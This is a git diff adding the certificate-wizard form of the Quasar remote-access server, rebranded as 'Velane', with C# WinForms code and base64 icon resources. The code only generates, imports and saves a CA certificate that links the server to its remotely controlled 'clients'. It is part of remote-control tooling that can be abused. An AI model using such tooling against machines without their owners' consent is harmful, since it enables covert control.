JN1RQTpzeGhhE////wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////AVRE + PQOIeHEvSjozozUlHvs0JB3/NiYf/zgoIf84KCH/OCgh/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zoq + I/8wIBn/XU1G/1FBOv8yIhv/Nycg/zgoIf85KSL/OSki/zkpIv84KCH/OCgh/zcnIP84KCH/OCgh/zcn + IP81JR7/NCQd+VtLRJ1dTUYjWkpDA////wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////AVFBOgVPPzhJQDApuzYmH/8zIxz/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/OSki/zsrJP83JyD/OSki/zcnIP85KSL/OSki/zkpIv85KSL/OCgh/zgo + If85KSL/Nycg/zMjHP81JR77Pi8ot1hIQUNmVk8D////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////AVlJQgtuXldtNSUe1zEh + Gv8xIRr/OCgh/zoqI/85KSL/OSki/zkpIv85KSL/OSki/zoqI/82Jh//NiYf/zgoIf84KCH/OCgh/zkp + Iv85KSL/OSki/zkpIv81JR7/NiYf/zIiG/9HNzDTWkpDX0U1LgX///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////AVNDPCE9LSaPPS0m5TMjHP83JyD/Oioj/zoqI/85KSL/OSki/zgoIf85KSL/OSki/zgo + If84KCH/OSki/zgoIf85KSL/Oioj/zoqI/81JR7/MiIb/zoqI9tAMCqHcmJbHf///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AWhYUTtGNjCrNCQd8zEhGv81JR7/Oioj/zkp + Iv83JyD/OCgh/zkpIv85KSL/OSki/zgoIf84KCH/Oysk/zMjHP8tHRb/OCgh71dHQKNJOTIt////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BXU1GBz4u + J09AMCm9NSUe/zIiG/84KCH/OSki/zgoIf85KSL/OSki/zgoIf86KiP/OSki/zEhGv8zIxz/RDQtt0o6 + M0l5aWIF////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8BXk5HE2paU2U0JB3bKBgR/zMjHP85KSL/OCgh/zgoIf85KSL/MiIb/y4e + F/83JyDZdGRdX25eVw////8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BVUU+I2BQSY04KCHzLh4X/zoq + I/85KSL/MSEa/zkpIu9FNS5/SDgxH////wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8BYlJLOUU1Lq8yIhvXMiIb104+N6lqWlM1////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA== + + + \ No newline at end of file diff --git a/Quasar-1.4.1/Quasar.Server/Forms/FrmCertificate.Designer.cs b/Quasar-1.4.1/Quasar.Server/Forms/FrmCertificate.Designer.cs new file mode 100755 index 0000000..8aba8ab --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Forms/FrmCertificate.Designer.cs @@ -0,0 +1,168 @@ +namespace Quasar.Server.Forms +{ + partial class FrmCertificate + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(FrmCertificate)); + this.lblInfo = new System.Windows.Forms.Label(); + this.btnCreate = new System.Windows.Forms.Button(); + this.lblDescription = new System.Windows.Forms.Label(); + this.txtDetails = new System.Windows.Forms.TextBox(); + this.btnImport = new System.Windows.Forms.Button(); + this.btnSave = new System.Windows.Forms.Button(); + this.label1 = new System.Windows.Forms.Label(); + this.btnExit = new System.Windows.Forms.Button(); + this.SuspendLayout(); + // + // lblInfo + // + this.lblInfo.AutoSize = true; + this.lblInfo.Location = new System.Drawing.Point(15, 66); + this.lblInfo.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0); + this.lblInfo.Name = "lblInfo"; + this.lblInfo.Size = new System.Drawing.Size(155, 19); + this.lblInfo.TabIndex = 3; + this.lblInfo.Text = "(this might take a while)"; + // + // btnCreate + // + this.btnCreate.Location = new System.Drawing.Point(15, 34); + this.btnCreate.Margin = new System.Windows.Forms.Padding(4, 4, 4, 4); + this.btnCreate.Name = "btnCreate"; + this.btnCreate.Size = new System.Drawing.Size(94, 29); + this.btnCreate.TabIndex = 1; + this.btnCreate.Text = "Create"; + this.btnCreate.UseVisualStyleBackColor = true; + this.btnCreate.Click += new System.EventHandler(this.btnCreate_Click); + // + // lblDescription + // + this.lblDescription.AutoSize = true; + this.lblDescription.Font = new System.Drawing.Font("Segoe UI", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.lblDescription.Location = new System.Drawing.Point(11, 11); + this.lblDescription.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0); + this.lblDescription.Name = "lblDescription"; + this.lblDescription.Size = new System.Drawing.Size(618, 20); + this.lblDescription.TabIndex = 0; + this.lblDescription.Text = "To use Quasar create a new certificate or import an existing one from a previous " + + "installation."; + // + // txtDetails + // + this.txtDetails.Location = new System.Drawing.Point(15, 86); + this.txtDetails.Margin = new System.Windows.Forms.Padding(4, 4, 4, 4); + this.txtDetails.Multiline = true; + this.txtDetails.Name = "txtDetails"; + this.txtDetails.ReadOnly = true; + this.txtDetails.ScrollBars = System.Windows.Forms.ScrollBars.Vertical; + this.txtDetails.Size = new System.Drawing.Size(645, 286); + this.txtDetails.TabIndex = 4; + // + // btnImport + // + this.btnImport.Location = new System.Drawing.Point(116, 34); + this.btnImport.Margin = new System.Windows.Forms.Padding(4, 4, 4, 4); + this.btnImport.Name = "btnImport"; + this.btnImport.Size = new System.Drawing.Size(162, 29); + this.btnImport.TabIndex = 2; + this.btnImport.Text = "Browse && Import"; + this.btnImport.UseVisualStyleBackColor = true; + this.btnImport.Click += new System.EventHandler(this.btnImport_Click); + // + // btnSave + // + this.btnSave.Enabled = false; + this.btnSave.Location = new System.Drawing.Point(466, 381); + this.btnSave.Margin = new System.Windows.Forms.Padding(4, 4, 4, 4); + this.btnSave.Name = "btnSave"; + this.btnSave.Size = new System.Drawing.Size(94, 29); + this.btnSave.TabIndex = 6; + this.btnSave.Text = "Save"; + this.btnSave.UseVisualStyleBackColor = true; + this.btnSave.Click += new System.EventHandler(this.btnSave_Click); + // + // label1 + // + this.label1.AutoSize = true; + this.label1.Font = new System.Drawing.Font("Segoe UI", 9F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.label1.Location = new System.Drawing.Point(11, 386); + this.label1.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0); + this.label1.Name = "label1"; + this.label1.Size = new System.Drawing.Size(452, 20); + this.label1.TabIndex = 5; + this.label1.Text = "KEEP THIS FILE SAFE! LOSS RESULTS IN LOOSING ALL CLIENTS!"; + // + // btnExit + // + this.btnExit.Location = new System.Drawing.Point(568, 382); + this.btnExit.Margin = new System.Windows.Forms.Padding(4, 4, 4, 4); + this.btnExit.Name = "btnExit"; + this.btnExit.Size = new System.Drawing.Size(94, 29); + this.btnExit.TabIndex = 7; + this.btnExit.Text = "Exit"; + this.btnExit.UseVisualStyleBackColor = true; + this.btnExit.Click += new System.EventHandler(this.btnExit_Click); + // + // FrmCertificate + // + this.AutoScaleDimensions = new System.Drawing.SizeF(120F, 120F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Dpi; + this.ClientSize = new System.Drawing.Size(676, 426); + this.Controls.Add(this.btnExit); + this.Controls.Add(this.label1); + this.Controls.Add(this.btnSave); + this.Controls.Add(this.lblDescription); + this.Controls.Add(this.txtDetails); + this.Controls.Add(this.lblInfo); + this.Controls.Add(this.btnImport); + this.Controls.Add(this.btnCreate); + this.Font = new System.Drawing.Font("Segoe UI", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedDialog; + this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); + this.Margin = new System.Windows.Forms.Padding(4, 4, 4, 4); + this.MaximizeBox = false; + this.MinimizeBox = false; + this.Name = "FrmCertificate"; + this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen; + this.Text = "Velane - Certificate Wizard"; + this.ResumeLayout(false); + this.PerformLayout(); + + } + + #endregion + private System.Windows.Forms.Label lblDescription; + private System.Windows.Forms.Label lblInfo; + private System.Windows.Forms.Button btnCreate; + private System.Windows.Forms.TextBox txtDetails; + private System.Windows.Forms.Button btnImport; + private System.Windows.Forms.Button btnSave; + private System.Windows.Forms.Label label1; + private System.Windows.Forms.Button btnExit; + } +} diff --git a/Quasar-1.4.1/Quasar.Server/Forms/FrmCertificate.cs b/Quasar-1.4.1/Quasar.Server/Forms/FrmCertificate.cs new file mode 100755 index 0000000..b54d513 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Forms/FrmCertificate.cs @@ -0,0 +1,102 @@ +using Quasar.Server.Forms.DarkMode; +using Quasar.Server.Helper; +using System; +using System.Diagnostics; +using System.IO; +using System.Security.Cryptography.X509Certificates; +using System.Windows.Forms; +using Quasar.Server.Forms.DarkMode; +using Quasar.Server.Models; + +namespace Quasar.Server.Forms +{ + public partial class FrmCertificate : Form + { + private X509Certificate2 _certificate; + + public FrmCertificate() + { + InitializeComponent(); + } + + private void SetCertificate(X509Certificate2 certificate) + { + _certificate = certificate; + txtDetails.Text = _certificate.ToString(false); + btnSave.Enabled = true; + } + + private void btnCreate_Click(object sender, EventArgs e) + { + SetCertificate(CertificateHelper.CreateCertificateAuthority("Quasar Server CA", 4096)); + } + + private void btnImport_Click(object sender, EventArgs e) + { + using (var ofd = new OpenFileDialog()) + { + ofd.CheckFileExists = true; + ofd.Filter = "*.p12|*.p12"; + ofd.Multiselect = false; + ofd.InitialDirectory = Application.StartupPath; + if (ofd.ShowDialog(this) == DialogResult.OK) + { + try + { + SetCertificate(new X509Certificate2(ofd.FileName, "", X509KeyStorageFlags.Exportable)); + } + catch (Exception ex) + { + MessageBox.Show(this, $"Error importing the certificate:\n{ex.Message}", "Save error", + MessageBoxButtons.OK, MessageBoxIcon.Error); + } + } + } + } + + private void btnSave_Click(object sender, EventArgs e) + { + try + { + if (_certificate == null) + throw new ArgumentNullException(); + + if (!_certificate.HasPrivateKey) + throw new ArgumentException(); + + File.WriteAllBytes(Settings.CertificatePath, _certificate.Export(X509ContentType.Pkcs12)); + + MessageBox.Show(this, + "Please backup the certificate now. Loss of the certificate results in loosing all clients!", + "Certificate backup", MessageBoxButtons.OK, MessageBoxIcon.Information); + + string argument = "/select, \"" + Settings.CertificatePath + "\""; + Process.Start("explorer.exe", argument); + + this.DialogResult = DialogResult.OK; + } + catch (ArgumentNullException) + { + MessageBox.Show(this, "Please create or import a certificate first.", "Save error", + MessageBoxButtons.OK, MessageBoxIcon.Error); + } + catch (ArgumentException) + { + MessageBox.Show(this, + "The imported certificate has no associated private key. Please import a different certificate.", + "Save error", MessageBoxButtons.OK, MessageBoxIcon.Error); + } + catch (Exception) + { + MessageBox.Show(this, + "There was an error saving the certificate, please make sure you have write access to the Quasar directory.", + "Save error", MessageBoxButtons.OK, MessageBoxIcon.Error); + } + } + + private void btnExit_Click(object sender, EventArgs e) + { + Environment.Exit(0); + } + } +} diff --git a/Quasar-1.4.1/Quasar.Server/Forms/FrmCertificate.resx b/Quasar-1.4.1/Quasar.Server/Forms/FrmCertificate.resx new file mode 100755 index 0000000..2c59259 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Forms/FrmCertificate.resx @@ -0,0 +1,659 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + + + AAABAAQAEBAAAAAAIABoBAAARgAAACAgAAAAACAAqBAAAK4EAAAwMAAAAAAgAKglAABWFQAAQEAAAAAA + IAAoQgAA/joAACgAAAAQAAAAIAAAAAEAIAAAAAAAQAQAAAAAAAAAAAAAAAAAAAAAAAD///8B////Af// + /wH///8B////Af///wE/LyhBOSkiyzkpIslBMSo9////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////AUg4MSE6KiOrNycg/T4uJ/87KyT/Nycg/TsrJKdKOjMf////Af///wH///8B////Af// + /wH///8BXExFCzsrJIE3JyD1OSki/zkpIv9PQDr/Szs1/zkpIv84KCH/Nycg8zsrJH0/LygL////Af// + /wH///8BPCwlVTcnIOE4KCH/OCgh/zcnIP81JR7/YVRP/1pMRv82Jh//OCgh/zgoIf84KCH/OCgh3zws + JVH///8BWUlCJTcnIPc4KCH/QzQt/4B1cP+Dd3L/fnJt/6uioP+jmpb/bF9Z/2pcVf9jVU7/PCwl/zgo + If84KCHza1tUH1NDPCs3JyD7eGtm/4J2cv87KyT/MSEa/z8vKP+vpqL/q6Ke/z0tJ/82JyD/NSUe/1pL + Rf9QQDr/OCgh9W5eVyNTQzwrNiYf+4h8eP83JyD/YFBJ/7yspf+woZv/iXt1/41+d/+Gdm7/bl5X/0Ex + Kv84KCH/U0M8/zUlHvVuXlcjU0M8KzcnIPs1JB3/c2Nc/5CAef/IuLH/qaGf//7+/v/+/v7/3dXR/6ub + lP/Nvbb/WUlC/04+N/84KCH1bl5XI1NDPCs4KCH7OCgh/35uZ/+Tg3z/hHRu/5SIg//9/f3//v39/97S + zP9pWVP/0sK7/1dHQP83JyD/OSki9W5eVyNTQzwrOCgh+zkpIv82Jh//YFBJ/5mJgv+zopv/6+bj/9vW + 1P9pWFH/eGhi/0w8Nf83JyD/OSki/zkpIvVuXlcjU0M8KzgoIfs5KSL/OCgh/zwsJf84KCH/NiYf/5GI + hP+MgX3/Nycg/zgoIf9aTEb/WUtG/zkpIv85KSL1bl5XI1ZGPyc4KCH5OCgh/zgoIf+upqP/TT85/zgo + If9uYl3/aVxX/zgoIf84KCH/kIaC/5CGgv84KCH/OCgh83BgWSGHd3ADPi4nYTgoIek4KCH/Sjs0/zUl + Hv84KCH/WUtF/1FDPf9BMSr/loyI/zsrJP88LCX/OSki5z4uJ13///8B////Af///wFKOjMROyskjTgo + Ifk4KCH/OSki/0Y2L/9DMyz/OCgh/zUlHv84KCH5Oioji1NDPA////8B////Af///wH///8B////Af// + /wFGNi8pOCghtTgoIf84KCH/OCgh/zcnIP06KiOxQTEqJ////wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wE8LCVJOCgh0zgoIdE+LidH////Af///wH///8B////Af///wH///8BAAD//wAA + //8AAP//AAD//wAA//8AAP//AAD//wAA//8AAP//AAD//wAA//8AAP//AAD//wAA//8AAP//AAD//ygA + AAAgAAAAQAAAAAEAIAAAAAAAgBAAAAAAAAAAAAAAAAAAAAAAAAD///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8Bbl5XBUY2L105KSLTOioj0U09NlVWRj8D////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AU8/ODs6KiPBNSUe/zkpIv83JyD/NCQd/Toq + I7tZSUI1////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AWtbVB8+LiedNiYf9zcnIP85KSL/OSki/zcn + IP83JyD/NiYf/zUlHvVCMiubZVVOGf///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AVJCOwlHNzB3Nycg7zYmH/85KSL/OCgh/zkp + Iv9NPTb/RTUu/zgoIf84KCH/OCgh/zYmH/83JyDrSTkycWNTTAf///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AUs7NANPPzhROCgh1zUlHv85KSL/OSki/zkp + Iv85KSL/OSki/1xNRv9XR0D/OSki/zkpIv85KSL/OSki/zgoIf80JB3/Oioj0UExKkVgUEkD////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wFcTEUtPS0mtTMjHP04KCH/OCgh/zkp + Iv85KSL/OSki/zkpIv83KCH/cGNe/2FUT/85KSL/OSki/zkpIv85KSL/OSki/zgoIf84KCH/NSUe/UAw + KbE/Lygn////Af///wH///8B////Af///wH///8B////Af///wFUQzwVQTEqkzMjHPU3JyD/OCgh/zkp + Iv85KSL/OSki/zkpIv85KSL/OCgh/zMjHP+Ngnz/eGtl/zYmH/85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/Nycg/zUlHvNAMCmNTz84E////wH///8B////Af///wGyopsDSTkyVTUlHuU1JR7/OSki/zgo + If84KCH/OCgh/zgoIf83JyD/NSUe/zQkHf8xIBn/JRYQ/56Wk/+Sh4P/KRgS/zMiG/81JR7/Nycf/zgo + If84KCH/OCgh/zkpIv85KSL/OCgh/zYmH/83JyDjRjYvTf///wH///8B////AWNTTD82Jh/pOCgh/zkp + Iv85KSL/OSki/zUkHf8sHBT/OSkh/1pKRP+He3b/pp6a/7KrqP+1ran/6eXk/+Da2P+upJ//opiU/46B + fP9uYFr/Szw2/zMjHP8xIBn/OCgh/zkpIv85KSL/OSki/zgoIf81JR7haFhRM////wH///8BUUE6VTgo + IfU4KCH/OSki/zYmH/8vHRb/cWRf/8K7uP/Y09H/raWh/4B0b/9cTEb/RDQs/yoZFP/k4N7/2NPR/ykX + D/85KSL/SToz/2ZXUP+JfHb/npGL/4t/ev9QQTr/Lh4W/zkpIv84KCH/OSki/zgoIe1uXldF////Af// + /wFTQzxTNycg9TgoIf8wIBj/X09J/9rW1P+upqL/UUI7/y0cFP8sHBT/MyMc/zkpIv87KyT/SDgw//n4 + 9//18/P/PCwl/zssJf85KSP/OSki/zIiG/8sHBT/OCgg/21gWf+UiIL/Py8n/zYnIP85KSL/OCgh625e + V0P///8B////AVNDPFM3JyD1NSUf/21fWf/k4N//U0M8/y0cFP83Jh//OCgh/zIiG/8zIxz/Py8o/0k4 + Mv+HeXX/9e7r//n08f+CdXH/Rzcw/zoqI/84KCH/OCgh/zcnIP85KSL/NCQd/zIhGv+JeXP/RDQt/zkp + Iv84KCHrbl5XQ////wH///8BU0M8UzgoIfUzIhv/4dzb/1JCPf82Jh//OCgh/zYmH/9AMCn/lYV+/8Cw + qf/Pv7j/3c3G/8Gxqv+Id3H/X05H/1REPv9MPDX/Oioj/zEhGv8vHxj/NCQd/zgoIf85KSL/OSki/y4e + F/+Ab2n/MyMc/zgoIetuXldD////Af///wFTQzxTOCgh9TYnIP+7sq//MSAZ/zcnIP82Jh//Pi4n/8y8 + tf/QwLn/zLy1/8W1rv9RQj//UUM+/4yAfP+6raj/x7ix/8a1rf/Lu7T/uqqj/56Oh/9nV1D/MyMc/zcn + IP84KCH/Lx8Y/3FhWv8xIRr/OCgh625eV0P///8B////AVNDPFM3JyD1OCgh/y0cFP85KSL/QjIr/3Zm + X/9pWVL/1cW+/8y8tf/Ovrf/RTg0/8rEwf/+/f3///7+///////+/f3/7+jl/6SUjP/Nvbb/0MC5/9XF + vv/EtK3/Rzcw/zYmH/9FNS7/X09I/zgoIf84KCHrbl5XQ////wH///8BU0M8UzcnIPU4KCH/OCgh/zUl + Hv9tXVb/p5eQ/zgoIf/Lu7T/z7+4/7ioof+WjIj///7+///+/v/////////////+/v//////4dnV/1FA + Ov+/r6j/zb22/86+t/+snJX/PS0m/19PSP80JB3/OSki/zgoIetuXldD////Af///wFTQzxTNycg9Tgo + If85KSL/Nycg/1lJQv/czMX/eWli/zUlIP+Ccmz/t6eg/6KTjP/39vX///////////////////////z5 + +f/YycL/fm5n/2JSTP/Vxb7/zb22/6ublP8xIRr/NSUe/zgoIf85KSL/OCgh625eV0P///8B////AVND + PFM3JyD1OCgh/zkpIv85KSL/MCAZ/5SEff/ezsf/wbGq/39vaf9aSkT/Tz84/2lZUv/6+fj///7+///+ + /v/8+/r/0MC5/9TFvv9BMSv/hHRt/9fHwP/Pv7j/Sjoz/zcnIP84KCH/OCgh/zkpIv84KCHrbl5XQ/// + /wH///8BU0M8UzcnIPU4KCH/OSki/zkpIv84KCH/MCAZ/2ZWT/+1pZ7/2srD/97Ox//by8T/08K6/+/o + 5P///v7///7+//Lr5/+9rKX/Tz84/29gW//UxL3/kIB5/zsrJP82Jh//OCgh/zkpIv85KSL/OSki/zgo + IetuXldD////Af///wFTQzxTNycg9TgoIf85KSL/OSki/zgoIf84KCH/NSUe/zAgGf9ENC3/ZlZP/4V1 + bv+YiIH/vrKt//////////7/fnBs/zQkHf9jU03/ZVVO/zkpIv8wIBn/NiYf/zYmH/84KCH/OSki/zkp + Iv85KSL/OCgh625eV0P///8B////AVNDPFM3JyD1OCgh/zkpIv85KSL/OSki/zkpIv85KSL/OCgh/zgo + If83JyD/NCQd/zMjHP8+Lin/9/b2//Py8f84JyD/OCgh/zYmH/83JyD/OCgh/zgoIf9PQDr/Tj44/zkp + Iv85KSL/OSki/zkpIv84KCHrbl5XQ////wH///8BU0M8UzcnIPU4KCH/OSki/zkpIv85KSL/OCgh/zgp + If9HNjD/Nych/zgoIf84KCH/OCgh/y0cFP/k4N7/2NPR/ysaE/84KCH/OCgh/zkpIv85KSL/KxsV/7Sr + qf+1rKr/KxsV/zkpIv85KSL/OSki/zgoIetuXldD////Af///wFRQTpVNycg9TgoIf85KSL/OSki/zkp + Iv84KCH/TkA8/9jRzv9AMy7/Nycg/zkpIv84KCH/KhkS/8C4tf+yqqb/LR0W/zkpIv85KSL/OSki/zUl + Hv9wYlv//v39//79/f9vYVv/NSUe/zkpIv85KSL/OCgh7W1dVkX///8B////AVpKQ0U3JyDtOSki/zkp + Iv84KCH/OSki/zcnIP+nnZj/7uvp/46EgP8xIBn/OSki/zkpIv8vHxj/oJeU/5SJhP8xIRv/OSki/zYm + H/8+Lif/NSQd/ywcFv+nnpr/p56a/ywcFv85KSL/OSki/zkpIv83JyDlc2NcOf///wH///8Bh3dwBUU1 + Lmc3JyDzNycg/zgoIf85KSL/OCgh/zEgGv+Ngn3/LBsV/zkpIv85KSL/OSki/zMjHP+Lf3r/dWlk/zYn + IP86KiP/U0Q///n49/91Z2L/MyMc/0o6M/9IODL/OSki/zkpIv83JyD/NCQd70o6M1+jk4wD////Af// + /wH///8B////AVVFPiU/LyipNiYf+zgoIf84KCH/OCgh/zEhGv85KSL/OCgh/zkpIv84KCH/OCgh/29i + Xf9hU0//Oioj/zkpIv89LCX/n5aS/0o8Nf84KCH/NyYg/zYmH/84KCH/NSUe+UIyK6NeTkch////Af// + /wH///8B////Af///wH///8B////Af///wFJOTJBOyskyTQkHf85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/W0tF/1ZHQP85KSL/OSki/zgpIv8uHhb/Nycg/zkpIv85KSL/NSUe/zsrJMdSQjs7////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wFpWVIHSjozZTcnIOc3JyD/OCgh/zgo + If85KSL/OSki/zkpIv9LOzT/RjYv/zgoIf85KSL/OCgh/zcnIP84KCH/Nycg/zoqI+VFNS5deGhhBf// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BTz84E0Q0 + LY00JB31NiYf/zkpIv85KSL/OSki/zkpIv83JyD/OCgh/zkpIv84KCH/Nycg/zgoIfM+LyiFWEhBEf// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////AUExKi0/LyizNSUe+zgoIf84KCH/OCgh/zgoIf84KCH/OCgh/zQkHfs+LierSDgyKf// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////AV1NRgNBMSpHOiojzzMjHP84KCH/OCgh/zQkHf86KiPNRzcwQ/// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wFVRT4JSjozbzYmH+E4KCHfQjIraUg4 + MQn///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAoAAAAMAAAAGAAAAABACAAAAAAAIAlAAAAAAAAAAAAAAAAAAAAAAAA////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wFuXlYDUEA5Kz8vKHs8LCXNPy8oyUY2L3NURD0lVkY/A////wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////AUU1LhVGNi9ZPS0mwzQkHfc2Jh//NSUe/zYmH/U7KyS7RTUuT0o6MxP///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8BV0dAQz4uJ6M2Jh/nNSUe/zgoIf85KSH/Nycg/zcnIP82Jh/9Nycg40U1 + Lp1VRT45////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8Ba1tUCVNDPDVDMyyNOSki7zMjHP83JyD/OSki/zkpIv84KCH/Nycg/zgo + If83JyD/NiYf/zIiG/83JyDpRTUui1hIQTFjU0wH////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wFeTkcbRDQteT0tJs81JR75NSUe/zgoIf83KCH/OSki/zYm + 